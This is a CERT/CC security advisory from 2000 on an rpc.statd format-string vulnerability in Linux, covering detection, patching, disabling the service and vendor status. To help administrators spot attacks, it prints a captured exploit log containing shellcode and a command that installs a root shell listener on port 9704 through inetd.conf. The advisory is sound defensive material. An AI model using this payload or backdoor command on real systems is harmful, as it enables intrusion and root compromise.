CERT® Advisory CA-2000-17 Input Validation Problem in rpc.statd
Original release date: August 18, 2000
Last revised: September 6, 2000
The CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see Appendix A of this document for specific information regarding affected distributions.
More information about this vulnerability is available at the following public URLs:
The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root.
Aug XX 17:13:08 victim rpc.statd: SM_MON request for hostname containing '/': ^D
^D ^E ^E ^F ^F ^G ^G 08049f10 bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000bffff7 0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90 ><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90 ><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> K^<89>v <83> <8D>^(<83> <89>^ <83> <8D>^.<83> <83> <83> #<89>^ 1 <83> <88>F'<88>F*<83> <88>F <89>F +, <89> <8D>N <8D>V <80>1 <89> @ <80> /bin /sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd
If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our Intruder Detection Checklist. If you believe your host has been compromised, please follow our Steps for Recovering From a Root Compromise. Please check our Current Activity page for updates regarding intruder activity.
Please see Appendix A of this advisory for more information about the availability of program updates specific to your system. If you are running a vulnerable version of rpc.statd, the CERT/CC encourages you to apply appropriate vendor patches. After making any updates, be sure to restart the rpc.statd service.
Disable the rpc.statd service
If an update cannot be applied, the CERT/CC recommends disabling the rpc.statd service. We advise proceeding with caution, however, as disabling this process can interfere with NFS functionality.
Block unneeded ports at your firewall
As a good security practice in general, the CERT/CC recommends blocking unneeded ports at your firewall. This option does not remedy the vulnerability, but does prevent outside intruders from exploiting it. In particular, block port 111 (portmapper), as well as the port on which rpc.statd is running, which may vary.
This section contains information provided by vendors for this advisory. We will update this appendix as we receive more information. If you do not see your vendor's name, the CERT/CC did not receive a response from that vendor. Please contact your vendor directly.
The Santa Cruz Operation has investigated this vulnerability and has determined that NO SCO products are susceptable to it. SCO does not provide the programs in question, and SCO programs that perform the same or similar functionality are not susceptable to this vulnerability.
This document is available from: http://www.cert.org/advisories/CA-2000-17.html
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Aug 18, 2000: Initial release Aug 21, 2000: Added additional vendor information to Appendix A. Aug 23, 2000: Added vendor information from Hewlett-Packard to Appendix A. Sep 6, 2000: Updated vendor information for Compaq Computer Corporation.